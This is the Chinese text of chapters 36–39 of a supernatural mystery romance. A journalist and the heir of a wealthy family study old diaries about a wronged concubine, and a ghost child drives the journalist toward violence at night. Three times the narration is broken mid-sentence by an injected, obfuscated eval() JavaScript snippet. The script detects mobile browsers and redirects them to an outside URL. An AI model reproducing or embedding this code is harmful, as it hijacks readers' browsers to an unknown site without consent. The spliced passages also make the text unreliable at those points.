36. 第 36 章 晚上七点,赵天明提早到了酒会,时不时就瞅一眼大门口。 在他打发了一个小合作商之后,终于看到了许修远入场。 他端着酒杯走到许修远面前,往上一举,笑着说道:“修远啊,终于又见到你了!” 许修远从一旁的服务生手上拿了一杯酒,和赵天明碰了下,“赵叔叔,这两天我实在抽不开身,正想着在回去之前再和您见个面。” 赵天明呵呵笑起来,“这样啊,那敢情好,我和你想到一块去了。” 他突然轻轻叹了口气,又道:“上次见面,招待有所不周,叔叔这几天批评了底下的人,让他们以后做事细心着点,知道哪些事情不该做,哪些事情又该怎样做。这些人不是自己把关招进来的,能力欠缺,得好好教啊!希望你能体谅,叔叔毕竟年纪大了,做事也不如年轻时考虑周到了。” “赵叔叔客气了,而且您还年轻,我爷爷就在我面前夸过您,说您敢做敢拼的,很有闯劲儿,而且还细致周到,很有善心,也有眼界,不会因小失大,所以才能有今天的成绩。” 赵天明神色一顿,很快反应过来,“许老先生谬赞了,如果没有他老人家当年的帮助,我也不会有今天。修远啊——” 他又和许修远碰了杯,压低了声音说道:“叔叔跟你保证,你担心的事情绝不会发生。” 许修远抿了口酒,“叔叔的话,自然是能信的。” 赵天明心头一松,又想到了一件事,于是问道:“修远啊,你朋友今天怎么没来呢?” “她生病了,已经回去了。” “……这样啊,”赵天明小心地觑了一眼许修远,神色如常,“叔叔还想请她吃顿饭,你看,叔叔又招待不周了。” “她这次过来,是为了散心,不是因为工作。” “修远,叔叔明白的。” * 颜珺瑶接到表舅的电话,十分激动,在外婆的陪同下,前往了表舅家里。 表舅已经提前将舅爷保存的外太婆遗物都找了出来,里面确实有好几本日记本。 颜珺瑶看着这些日记本,龇着牙傻乐。 她大致翻了翻,外太婆的这几本日记是从教书开始写的,说不定里面会多次提及她曾经的学生。 表舅开口道:“我爸最后几年,时不时就会翻一翻这些日记本,跟我说起以前的事,要不我也不知道他还留着奶奶的这些东西,幸好当时没给烧了,不然也就没了。” “表舅,这几本我可以先带回去看看吗?看完之后再给您送过来。” “当然可以,你拿着吧,”表舅很痛快地答应了,只是有些好奇,“是不是电视台要做什么节目,用到这些旧东西呢?” 外婆说话了,“是的呀,我们瑶要准备选题,正在找灵感。对了——” 她换了话头,“你媳妇儿最近身体怎么样呀,有空的时候你带过去,让你姑丈再给把把脉。” 表舅被外婆一打岔,借着和外婆聊起了家里的事情。 回到家里,颜珺瑶几乎顾不上吃饭,将所有的日记本按时间顺序从头看到尾。 等到合上最后一本的最后一页时,天已经亮了。 她看了整整一夜。 晨光朦胧,从窗帘的缝隙挤进来,颜珺瑶一把拉开窗帘,下意识侧过了头。 缓缓睁开眼,望向不远处的马路,她出神地看了许久。 不知道八十年前左右,这条马路也是如此吗? 不会的,眼前的一切早就今非昔比,可她知道的是,唯一不变的也许是人性。 六点多了,颜珺瑶拿了牛奶面包,盘腿坐在客厅的茶几前,耳边是电视机早间新闻的播报声。 看着早餐,毫无食欲,她拿起手机给许修远发了微信,对方很快回复了。 也许一切很快就要浮出水面了。 * 晚上六点半,颜珺瑶提交了稿子,关上电脑,拎上包,匆匆地离开了办公室。 张熙杰正好采访回来,在车里看见颜珺瑶从办公楼出来,打开车窗喊了她一声。 颜珺瑶已经走远了,没听见。 “珺瑶这么着急干嘛去呀,”吕嫣解笑起来,回头看着张熙杰,意味深长地问道:“她最近是不是谈恋爱了?休息时间总是忙得很,前几天约她逛街,她居然跑到外地去了。” 车子慢慢停了下来,摄像李逸飞扛着机器下了车,插嘴道:“嗯,我也觉得,上次在商场采访,还看到一个男的找她,两人说话神神秘秘的,应该挺熟悉的。” 张熙杰正关上车门,闻言瞥了一眼李逸飞。 吕嫣的八卦雷达瞬间启动,也顾不上张熙杰了,凑近李逸飞,“飞哥,对方帅不帅啊?” “哪有功夫瞧啊,那天乱的很,拍都来不及,只看到个背影,个子倒是挺高的。” “哎呦,那看来有情况啊!”吕嫣眼珠子滴溜溜地转了转,跟上张熙杰的脚步,“熙杰,你跟珺瑶最熟悉,她到底有没有对象啊?” “应该是没有,上次去外地,是去见大学舍友。” “啊,原来如此!是我想太多了呀!”吕嫣一直注意着张熙杰的神情,嘴上虽然这么说,但是她从这人的脸上瞧出了一丝不对劲。 * 颜珺瑶和许修远约在了离电视台只有一条街的西餐厅。 从地下通道出来,颜珺瑶往西餐厅走去,抬头往楼上瞅了一眼,许修远已经到了,正坐在靠窗的位置看着她,朝她笑着。 颜珺瑶小跑着进了餐厅,上了二楼,抽空看了一眼手机,幸好没迟到。 推开包间的门,一坐下,她就从包里拿出了两本棕色牛皮面的老旧笔记本,放到了许修远面前。 许修远翻开第一本,发现里面夹了书签,而书签所在页里的内容提到了他的二太奶奶。 “我外太婆只在这两本里提到了她,总共有五次,我都用放了书签。”颜珺瑶喝了一口柠檬水,继续说道:“上面这一本是在我外太婆给她教授英文和钢琴时期写的,总共有三次,另一本则是在她进了许家之后,你先看看。” 日记内容言简意赅,许修远很快看完了,合上笔记本,一时沉默了下来。 颜珺瑶垂眸看着许修远手边的日记本,心情不免也有些沉重。 日记中外太婆最后一次见到沈小姐时,惊诧不已,她万万没想到曾经千娇百媚,玲珑剔透的年轻女子,才几年时间就变成了那般沧桑,甚至精神状况都有些堪忧的模样。 那日两人在咖啡馆外偶遇,沈小姐身后跟着两个女人,其中一个年纪大一些,一双眼睛如鹰隼一般盯着沈小姐的一举一动,而另一个年轻些的应该是她的贴身丫鬟,对沈小姐比较呵护。 沈小姐看到外太婆,如同见到了救星,极力邀请,眼神中甚至带着祈求,想让外太婆进去一起喝咖啡。坐下之后,外太婆才知道,沈小姐是想向她倾诉,或者可以说是要向她吐露许家的秘密,关于她女儿的死。 沈小姐死命地攥着外太婆的手,喃喃着她的女儿是被人害死了,是被许家的大女儿害死的,外太婆震惊地无以复加,可沈小姐这话一出口,就被身后的那个婆子给使劲拉走了,年轻的丫鬟劝阻无用,还被婆子板着脸给当场训斥了。 等到外太婆追出了咖啡馆,沈小姐已经被婆子塞进了许家的车子,车子很快扬长而去。之后外太婆试图打听沈小姐的状况,但都无果。 日记本中最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010974|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次提到沈小姐,则是在三个月之后,外太婆在街上再次遇到了那位沈小姐的贴身丫鬟,便询问了沈小姐的情况,但对方却支吾不敢言,最后才说了沈小姐因为丧女之痛想不开,自缢于房中。 外太婆伤心不已,不仅仅是因为沈小姐曾是她的学生,也因为沈小姐在她最困难的时候出手帮过她,对她有大恩。 当时沈小姐还在外太婆这边学习时,外太婆的兄长因为欠了赌债还不起躲了起来,债主找上了外太婆,幸好有沈小姐让许修远的太爷爷出手帮忙,才幸免于难,并帮忙偿还了债务。 如果没有沈小姐和许修远的太爷爷,外太婆知道她将会沉入泥淖中,无法正常生活了。 良久,颜珺瑶缓缓吐出一口气,又端起杯子喝了口柠檬水,清了清嗓子,看着许修远道:“你——觉得当时沈小姐对我外太婆说的,是真的吗?” 许修远叹了口气,“很可能是真的,至少从二太奶奶的角度来看,肯定是和许家大女儿,也就是我大姑奶奶有关的,而且许家当时极力否认遮掩了这件事,否则她们母女现在不会报复许家了。” “那你大姑奶奶——”颜珺瑶顿了顿,不知道该怎么问合适。 许修远知道她想问什么,“我大姑奶奶十几岁的时候就过世了。” “……什么原因过世的?” 许修远思索片刻,“好像是因病离世的,不太确定。” 颜珺瑶抓了抓脸,垂下了眼眸。 虽然不清楚许修远大姑奶奶的离世是否和报复有关,但她觉得如果事情真是许修远大姑奶奶做的,那一定是报应。 一个三四岁的孩子,而且还是同父的姊妹,能有什么仇什么怨,居然也忍心下手,可想而知心肠有多歹毒。 不过这些话,她不好在许修远面前说出来。 认真说起来,许家对她们家也是有恩的。 蓦地,她又突然想到一个问题,几十年来,沈小姐一直被困在那个房间吗?为什么现在突然开始报复了呢? 对此,许修远也不清楚,他也很想知道。 他稍稍整理了思绪,收拾了心情,对颜珺瑶笑道:“先吃饭吧!” 很快牛排上了桌,颜珺瑶不能喝酒,选了苏打水,她最爱的碳酸饮品,一口下去,提神醒脑。 许修远特意喜欢看她吃饭,让人心情特别愉悦。 喝了口苏打水,跟着拿起了刀叉。 吃到一半,颜珺瑶又瞥见了放到一旁椅子上的两本笔记本,手上的动作停了下来。 这两本日记提供了很多信息,不过还是未能知道沈小姐的全名,即使沈小姐进了许家之后,外太婆也一直称呼她为沈小姐。 不过这并不是最重要的,沈小姐会找上她和许修远,也许最想要的是还她们母女以公道。 许修远深以为然,二太奶奶这么多年都放不下这件事,当年一定是受了极大的委屈,所以现在才会如此。 可惜的是,爷爷始终不愿意让他知道,要是二姑奶奶还在世的话,也许一切早就查出来了,不用如此大费周章。奶奶曾说过,二姑奶奶是家里性子最好,也最善良的人,不过并不长寿,五十左右就走了。奶奶很小的时候就来过许家做客,见过大姑奶奶和二姑奶奶,她曾经感慨过,这两位虽然是双胞胎,但性格却天差地别。 颜珺瑶安慰道:“别气馁,我们尽全力去查,相信事情总有水落石出的那一天,说不定哪天沈小姐又给我托梦,就算只提供了一些关键词,肯定也是有用的。就像之前她喊的君平,因为这个名字才会知道她是跟你太爷爷有关,之后才确定那个小女孩是——” 突然间,她一下子哑住了,微张着嘴,满脸惊恐地看向许修远身边。 37. 第 37 章 那个穿旗袍的小女孩,她——她又出现了,她就站在——站在许修远的身边,直勾勾地看着颜珺瑶。 “珺瑶?”许修远顺着她的视线往一旁看去,没有发现不对劲的,猛地意识到什么,伸手想要去拉颜珺瑶的手,哪曾想,突然“哗啦”一声,颜珺瑶竟将她的杯子摔到了地上。 颜珺瑶只觉得眼前一片恍惚,不知道自己做了什么,随即又机械地从椅子上站起,很快蹲了下去,盯着碎裂一地的玻璃,伸出了手。 “珺瑶——珺瑶——”许修远不停地喊着她的名字,立即站了起来,还不等他蹲下将她拉起,却见她抓起了一块碎片,这才抬头看向他,面无表情。 “珺瑶——珺瑶——” 颜珺瑶瞬间面露痛苦之色,用力地闭着眼,似乎在做什么挣扎,下一秒,她的呼吸变得急促,狠狠地咬住了自己的下唇,手上一使劲,将玻璃碎裂握到了掌心里,鲜血一下子涌了出来。 “啊……” 许修远震惊,下意识就要去掰她的掌心,“珺瑶,你干嘛——” 掌心的疼痛让颜珺瑶恢复了清醒,她往后退了一步,拽开许修远的手,惨白着脸,对着许修远摇头:“别靠近我,快走开——” 许修远怔在原地,一瞬不瞬地看着她。 “你快先走,别管我——”颜珺瑶胸膛剧烈起伏,摊开掌心,颤抖着手扔掉了沾满鲜血的玻璃碎片,而后浑身无力地倒在身后的椅子上,趴到桌子上,受伤的那只手顺势搭在腿上,血还在继续流着。 许修远不可能就这么离开,他急切地走到她面前,小心翼翼地喊她:“珺瑶——珺瑶——” 颜珺瑶埋着脸,低低地应了一声,许修远大大地喘了口气,看着她满是血的手心,很是不忍,再次弯下腰凑近她,温声道:“珺瑶,我先带你去处理伤口好不好?” 颜珺瑶终于缓了过来,能好好喘气了,但眼下所有的感觉都只在手上,那就一个疼啊,手都控制不住地颤抖起来。 她慢慢坐起来,低眸瞥了眼掌心,飞快地撇开脸。 抬头,对上许修远着急关切的眼神,就听许修远又问道:“我先送她去医院处理伤口好不好?” 颜珺瑶摇头,握住他的手腕,认真道:“往东两百米有家诊所,去那里,走着过去,你别开车。” * 一路上颜珺瑶都没怎么说话,但是许修远也大致猜到了刚才出现那一幕,以及颜珺瑶不让他开车的原因。 到了目的地,虽说是诊所,但规模不算小,总共有三层。 一进诊所,值班医生见到颜珺瑶的手还在出血,就立马帮忙处理了伤口。 许修远不放心,又问了是否需要打一针破伤风,医生表示不用,伤口不深,但嘱咐接下来几天要勤换药,不要沾水。 包扎好伤口之后,颜珺瑶没有着急走,而是坐到了一旁的休息区,许修远陪在她身边,余光能瞅见她受伤的手。 颜珺瑶突然对他说道:“许修远,你身上戴着平安符吗?” “嗯,戴着,你给我的也戴着。” 颜珺瑶默了片刻,转头看着他道:“刚才,那个小女孩——” 就在这时,她的手机突然响了,是师傅江成打来的,问她在哪里,让她跟着跑一趟现场。 颜珺瑶说了位置,很快挂了电话。 “你要去——出现场?”许修远看着她的手,有些不放心。 “嗯,没事,上了药已经不太疼了。” 许修远暗暗叹气,“我送你过去吧!” 颜珺瑶立刻摇头,“不用,不用,我师傅会过来接我,你——还是早点回去,刚才——” 她顿了顿,言简意赅道:“刚才,那个小女孩又出现了。” 许修远眉心微动,深深地看了她一眼,“嗯”了一声。 离开诊所,许修远本想陪着颜珺瑶等她师傅过来,但颜珺瑶却再次开口让他早点回去,表情十分认真。 许修远只好答应了,转身时,颜珺瑶突然叫住了他,补了一句:“到家了给我发条信息。” 许修远一冷,随即笑了笑,“好。” * 结束采访,江成见颜珺瑶的手受了伤,便先把她送了回家,让她不用跟着回单位加班。 颜珺瑶没有推脱,回到住处,直接躺到在沙发上。 夜深了,周遭一片寂静,但她的心里却波涛汹涌。 因为她似乎发现了一个可怕的事情。 许修远似乎只有和她在一起的时候,小女孩才有可能出现意欲伤害她,而且都是在晚上。 第一次在同学聚会那家酒店,许修远朝她走来的时候,她心里分明是非常害怕的,因为真的以为自己见到鬼了。她下意识地想要跑开,想要远离,却又无法控制地去靠近了他。在这种自我抗争中,她出现了那种被勒的窒息感。 虽然这一次没有看到那个小女孩,但当时就是在晚上。 第二次,他和她见面则是为了坦白那两个晚上的特殊经历,随后他带着她去拿回了修补好的水晶摆件。在许修远送她回家的路上,她居然出离地想要去抢夺他的方向盘,最后幸好克制住了,还能开口提醒他不要停车,但她第二次差点窒息。 这一次,小女孩出现了,当时,天色已经暗了下来。 第三次,则是许修远拿到沈小姐的照片之后,他和她约了一起吃的火锅,当时是在大白天的中午,那天没有任何异常发生。 第四次,则是许修远约她在香园吃饭的那天晚上,如今回忆起来,当天晚上的记忆其实是出现空缺的,甚至还在江边和许修远胡说八道了很多话。 现在想来,为什么当时让许修远陪她去江边呢?真是细思极恐啊! 第四次,就是上一次在X市的酒店,她莫名其妙地想要在电梯门拉开的一瞬间把许修远推进去,运气好的是,她再一次控制住了自己。 这一次,小女孩出现了,而且当时是在深夜。 而今天晚上,如果不是自己用手握住了碎玻璃,用疼痛转移了自己心中越发汹涌的冲动,也许——也许自己真的会在无意识的情况下,用那块碎玻璃扎向许修远,后果不堪设想。 今晚,小女孩再次出现了。 不仅如此,那次许忠林去外公家里看病,离开时,自己和外公一起送对方下楼的时候,差点伸手把他推下去了,如果不是自己及时用手使劲地在墙上挠,许忠林可能真的被她推下了楼。 而自己去许家老宅跟许忠林见面的两次,都是在白天的下午,她的意识都很正常,什么异常都没发生。 这些足以让她确定,许修远和许忠林,在和她接触之时,只要是晚上,小女孩都会借她的手试图伤害他们。 颜珺瑶抬起双手,一眨不眨地盯着自己的手,她不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018497|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信自己竟然有那么多次都差点害了人,尽管不是她的本意,但只要事情发生了,那她就是罪魁祸首。 双手不自觉地颤抖起来,太可怕了! 可现在这一切,她却无法控制,无法避免。 * 次日早晨,颜珺瑶到了单位没多久,就接到了许修远打来的电话,询问她的身体与伤势。 颜珺瑶努力用轻松的语气告诉他自己没什么事,伤口也不太疼了。 接触久了,许修远知道颜珺瑶不是喜欢让别人担心的人,之前因为晕厥住院,几次都没告诉家里人,只要不是大问题,都习惯说没事。 他还是放心不下,便提醒她别忘了去换药,想了想又问她下午下班后是否方便,他想接她去吃饭。 闻言,颜珺瑶一口气差点没上来。 可不敢再跟他在晚上的时候一起吃饭了,不然自己早晚得进去。 “哦,那个,我会去换药的,傍晚下了班就去——”她有些支吾,“晚上,晚上那个我要加班,对,师傅让我写稿子呢,写稿子!” “……好,你注意休息,记着别碰水了。” 挂了电话,许修远沉默了,颜珺瑶是害怕他了吗?或者说是害怕许家的人呢? 仔细想来,似乎每次她和自己在一起,她都会出现不舒服或者受伤的情况,如果她的亲人知道这些事情,该会有多心疼。自己确实影响了她,她会出现害怕的情绪,人之常情。 在这件事情上,她是最无辜的一个人。她和八十年前的旧事半点瓜葛都没有,难道就是因为她的脸,所以才被卷进来吗? 二太奶奶为什么会盯上她呢? * 颜珺瑶不清楚许修远心里所想,更不清楚自己为什么会被盯上,但眼下她清楚的是,她要尽量少和许家的人接触,特别是在天色暗了之后。 她本想着委婉地告诉师傅,以后周六她不再去许家老宅采访,但这件事一开始是她自己亲口答应的,而且师傅并没有强迫她去,她出于好奇心才决定去的。 抛开第一次不谈,目前她只去了一趟,而且上一次还请了假,如果现在突然要退出,她觉得有些愧对师傅。 纠结了许久,她只能安慰自己,采访都是在白天,而且之前都没出过事,接下来肯定不会出什么问题的。 不过,她确实有几天没和许修远见面了,许修远倒是每天都给她打电话发微信,主要是关心她的身体。许修远又提了一次想请她吃饭,但还是被她找理由婉拒了,也许是察觉到她就是不想和他见面,之后许修远虽然每天都和她联系,但没再提过见面的事。 不过许修远确实很关心她,给她寄了不少补品。但关键是,大部分她都不了解,也不知道怎么补,暂时不敢拿回家,更不敢给爷爷奶奶外公外婆送去,一来不知道怎么解释,二来万一爸妈知道了她突然有了这么些贵重的东西,怕不是以为她兼职当贼了。 所以这些好东西,也就只能先放着了。 * 颜珺瑶接到吴以晴的电话,原先以为她是想跟自己分享新婚的甜蜜幸福,但听了两句之后却发现并不是。 吴以晴跟她抱怨,昨天白宴和他的外婆带着她去了郊区,和一个姓严的婆婆见了面。 一开始她以为这位严婆婆是白宴的什么亲戚,但对方居然是位神婆,这趟过来是想让严婆婆帮忙把白宴的妈妈请上来。 38. 第 38 章 吴以晴一听,脸都白了,白宴就把她带到了外面,好一通解释,最后都哀求她了,吴以晴只能答应了。 “你也知道,白宴的妈妈在他大学的时候就走了,这么多年他一直很难过,没能见他妈妈最后一面,现在他妈妈也不能亲眼看到他结婚成家,更是没见过儿媳妇,所以才把我带了过去。 我可以理解,但是真的有点生气,为什么不提前跟我说明情况呢?非要到了地方才解释,他外婆在场,身体又不好,还在流眼泪,我也不敢说什么,更不能当场走人,但真的是过分。” 颜珺瑶也是同样的想法,至少应该做到事先告知,尊重个人的意愿,白宴家这么做确实不妥。 吴以晴继续说了下午,“我当时吓得腿都软了,白宴一个劲儿地安慰说请上来的是他的妈妈,也就是我的婆婆,让我不用害怕。我怎么可能不害怕,他明明知道我胆子小,从小怕这些,居然还这样做,回来之后我就回了我妈家,不想理他了。” “……”颜珺瑶突然有些好奇,“白宴怎么确定请上来的就是他妈妈呢?” “他到严婆婆那请过好几次,第一次是在他妈妈刚走的三七,之后每年忌日都会去,每次都会问不同的问题,只有他们家人知道的一些小事,每次严婆婆都答对了,所以白宴非常信任这位婆婆。昨天白宴问的就是他的高考分数,一丝不差,甚至连各科成绩都说准了,我跟你说,我当时差点就两眼一翻晕过去了,因为这意味着当时对面的严婆婆已经被白宴妈妈上身了。” “你知道的,我爸妈是无神论者,我虽然害怕这些,但只是因为胆子小,其实是不太相信的。昨天看到之后,我的天都塌了,以后我夏天睡觉都要把自己盖严实了,连脚都不敢露了。珺瑶,你相信这个世界上真的有鬼吗?” 颜珺瑶咽了咽口水,相信,她现在百分百相信,不仅相信,而且她还亲眼见过,好几次,说不定—— 她瞧了瞧自己的身边,说不定现在自己身边就有,只是她看不到而已。 只是,她还是第一次听说可以请神上身的,所谓的请神上身,说白了就是让鬼附身,没想到还专门有这种职业的人。 她清了清嗓子,只能安慰吴以晴:“你婆婆应该是不会伤害你的,而且你想,白宴想见她都要请那位严婆婆上身,说明除了特殊情况,她平时应该不会出现在阳间的,你不用害怕。” 吴以晴在手机那头深深叹了口气,哀哀戚戚道:“我怕的不是我婆婆,我怕的是,这个世界上居然真的有鬼,不知道什么时候就会——反正,现在我感觉这个世界太拥挤了。” “汤爷爷说过,人鬼各行其道,一般情况下是不会互相打扰的,你要是实在害怕的话,下次我陪你去普陀寺或是其他地方,求张平安符呢?” “我已经求了,今天早上我就跟公司请了假,又去找了严婆婆,我觉得她是个有真本事的,她也给了我一张,让我贴身收着,就不会有那些缠上我了。” “嗯,那就好,严婆婆肯定是有真本事的,你不要想太多。”颜珺瑶又安抚了好一会儿,末了,她踟蹰了两秒,突然说道:“以晴,你可以把严婆婆的地址或联系方式给我吗?” “啊?”吴以晴惊诧,“可以是可以,只是——你是想采访她还是——撞邪了?不对啊,张熙杰的爷爷不是也挺厉害的吗,你怎么不考虑先去找他呢?所以你就是想采访她,不过电视台让播吗?这应该算是封建迷信吧!” “……我——就是好奇,所以想了解一下,要是这个通不过就算了。” “成,我把地址发给你,有点偏,不要晚上去啊,还挺远的。” 看着微信上的地址,颜珺瑶决定这一两天过去一趟。 刚挂了电话没多久,颜珺瑶就进了机房忙去了,等到她出来的时候,才注意到手机放在了办公桌上。吕嫣指了指她的手机,提醒道:“有一个姓许的给你打电话。” “……”许修远?她一直忘了给他改备注名。 她赶紧回了过去,许修远很快接起,告诉她那位姨奶奶想见她。 上一次出院之后,没多久又进了医院,今天上午才再次回到家里,老人家就给许修远去了电话,麻烦许修远帮她联系。 颜珺瑶深知老人家真正想见的不是自己,但她的脸能让老人家了了年少时的遗憾,也算是做了好事。 于是她毫不犹豫地答应了,不过在许修远问她什么时候方便时,她给出的回答是“明天中午吧!” 明天上午十一点左右预约了一个电话采访,正常情况下中午应该是有时间的。 而且老人家跟许修远提了两次,肯定是着急想见她,但她又不敢选择晚上的时间,要是在老太太面前“发病”或是做出什么恐怖的事情,那—— 颜珺瑶浑身一个激灵,光是想想就觉得要命。 “好,我跟张奶奶说,明天中午我过来接你?” 颜珺瑶答应了,这倒是令许修远有些意外和惊喜,难道自己之前的想法是错的? * 次日中午,颜珺瑶在办公楼外坐上了许修远的车。 司机开车,许修远在后座。 颜珺瑶心里有点尴尬,毕竟自己前几天拒绝和他见面来着,不过许修远貌似并未放在心上,这倒是让她松了口气。 其实她想告诉许修远,但又不知道该怎么说,万一自己的推测不对,那岂不是会误导了许家的人。 望着窗外炽烈晃眼的阳光,她心头一动,也许今天这趟就能间接佐证。 许修远垂眸看向她的右手,不禁问道:“伤口怎么样了?” “好多了,已经不太疼了。”颜珺瑶下意识摊开右手,手掌还包扎着,“就是不太方便,其他都还好。” 许修远将一盒点心递到她面前,打开盖子,“饿了吗?先垫垫肚子?” 颜珺瑶用左手接了过来,但也没什么胃口,对许修远道:“你这几天——” 余光瞥见驾驶座上的司机,她这才想起来车里还有第三个人,轻咳一声,换了说法:“还好吗?” 许修远和她对视,温和一笑,“还好,你呢?忙不忙?” “……” 颜珺瑶觉得许修远肯定是误会她的意思了,便将点心盒子又塞回给了他,拿出手机,点开便签,编辑了一句话。 【最近你有遇到什么奇怪的事吗?】 许修远明白她问的是什么,“没有,你放心。” 颜珺瑶脱口而出的一句“那就好”,还没完全传到耳朵里,脑子里突地冒出了一个念头。 坏了,小女孩真是冲她来的。 她咬咬牙,算了,是福不是祸,是祸躲不过。 这样至少还能在一定程度上保护许修远,自己少跟他接触就成。 许修远见她又是皱眉,又是咬唇的,不知道在想些什么,又把点心往她面前送了送,“吃吗?” “嗯?”颜珺瑶回神,接过点心,拿起一个咬了一口。 那个孩子——应该——应该不会——弄死她吧? 不然之前好几次就不会放过她了,对,应该是这样的—— * 半个小时后,车子驶进了南滨区的一处高档小区。 电梯里,颜珺瑶咽了咽口水,开始有点紧张。 许修远对她笑笑,安慰道:“别紧张,张奶奶说了,今天中午只有她和一位阿姨在。” “哦——”颜珺瑶倒不是怕人多,她只求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023888|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别吓到姨奶奶。 五楼很快到了,过来开门的中年女人应该就是照顾老太太的阿姨,笑着将两人迎进家里。 “老太太就在客厅呢!” “小远——” 走进客厅,颜珺瑶看到姨奶奶神情激动地站了起来,颤颤巍巍的,看着她心头突突的,赶紧快步走到跟前,扶着她坐下。 姨奶奶竟一时都忘了许修远,握着颜珺瑶的手,目光落在她的脸上。 颜珺瑶任凭姨奶奶打量着她的脸,姨奶奶渐渐回过神来,兀自说道:“真的太像了,可你居然不是她的后人,太不可思议了。” 颜珺瑶和许修远对视了一眼,笑着回道:“确实很巧合,我也不是她的旁系子孙,我家里的长辈只有我外婆的妈妈和她相识。” “你外婆的妈妈是?” “她叫向瑾涵,曾教过沈小姐英文和钢琴。” “姓向?”姨奶奶陷入沉思,“是开过百货公司的向家吗?” “嗯,外婆的外祖父是曾开过百货公司,”颜珺瑶眨了下眼,“您认识我外太婆?” “不认识,但我知道她是一个很有名气的教师,当时不少人家都想请她的。”姨奶奶面露困惑,“向老师居然也交过柔姨吗?” 许修远开口问道:“张奶奶,您是觉得奇怪吗?” 姨奶奶不确定道:“我印象里好像柔姨从小就开始学了,可能是我记错了。” 家里的阿姨这时候从厨房出来,午餐已经准备好了,姨奶奶便拉着两人进了餐厅。 吃过饭后,姨奶奶还把两人叫到自己的房间,拿着钥匙打开了一个红木箱子,从里头拿出了一张她和沈小姐的合照,还有一个木雕的兔子玩偶。 照片中沈小姐约摸是在二十岁左右,和何老师傅找到的那张照片上的年纪差不多,很年轻。兔子玩偶虽然不是大师级别的作品,但能看出来用心之至,十分精巧可爱。 颜珺瑶不禁悲从中来,对一个朋友的孩子尚且如此上心,足以见得沈小姐是多么喜爱孩子,亲生女儿的离世对她会是毁天灭地的打击,她似乎可以理解沈小姐的报仇。 离开时,阿姨搀扶着姨奶奶将颜珺瑶和许修远送到电梯口,依依不舍地看着两人进入电梯,但脸上带着满足的神色。 姨奶奶说过,自她有记忆以来,柔姨是对她最好的女人,即使后来父亲再娶,后母对她也不错,但却远远比不上童年记忆中柔姨的温柔爱意。 从五楼下来,刚走出电梯没多远,颜珺瑶突然停下了步子。 她看向许修远,“你会不会觉得张奶奶刚才的那句话有点奇怪?” “是说张奶奶疑惑为什么你外太婆会教授二太奶奶英文和钢琴的事,对吗?” “嗯,在张奶奶的记忆里,她觉得沈小姐是从小就学这些的,但沈小姐却当过我外太婆的学生。我外太婆和沈小姐年龄差距不大,她开始当家庭教师也是二十岁之后的事情,照此推测,当时沈小姐应该至少有十几岁了。但张奶奶为什么会这么觉得呢?” 许修远垂眸沉吟,“有人在她小时候这么告诉她的,所以她才会这么觉得。很可能二太奶奶的真实身份是有问题的,对外她只能这么说。” 颜珺瑶深表赞同地点点头,“只是她和你太爷爷相爱,也进了许家的门,为什么要这么做呢?会不会沈小姐并不是以二房的身份进入你们家的呢?当时你们家严令禁止娶二房吗?” “并不是,我爷爷的一位堂伯伯,有三房太太,甚至还有外室,所以族里并没有这样的明文禁令。” 颜珺瑶有些头疼,谜题真的是越来越多了。 “不过——” “?”颜珺瑶双眼一亮,直勾勾地看向许修远。 39. 第 39 章 许修远轻咳一声,“我听我奶奶说过,早些时候族里的长辈都认死理,虽然族里的人可以娶二房,三房,但要求娶进门的最好都是有一定家世背景的,不能是太普通的人家。我猜,有可能是二太奶奶出生普通,太爷爷为了让她能进门,想办法帮她编造了新的身份。” “……” 颜珺瑶觉得自己孤陋寡闻了,以前在她的印象里,旧时代的大户人家对于正房太太的出生必然是非常在意的,但也仅仅如此,没想到许家讲究到如此地步,二房三房都要求是门当户对,否则只能成为外室? “如果是这样的话,会不会沈小姐的名字也不是真的,甚至姓氏都有可能是假的呢?” “嗯,我现在怀疑她的假身份有可能就是假借当时迁往申市的那个沈家的名声,一来沈家虽然落寞了,但书香世界,有一定的名气,二来已经远迁,而且那个年代聚散离别都是随时发生的,想要去查证也不是易事。” 如此看来,要查出沈小姐的真实身份难度更大了。 颜珺瑶现在只希望,沈小姐什么时候能再给自己拖个梦,给个提示啊! * 回到单位,颜珺瑶有些小小的沮丧。 目前看似查到了很多信息,但最核心最关键的还是知之甚少,除非把许忠林的嘴给撬开。 不过这件事许修远这个亲孙子都做不到,她这个外人就更不可能了。 还有一点,刚才跟许修远接触的时候,自己十分正常,说明她之前的猜测就是正确的。 她下定决心,不管如何,她还是少和许修远接触为妙,特别是在晚上。 吕嫣一见到她回来,就噌地跑到了她身边,单刀直入地问她是不是有男朋友了。 “……当然没有。” 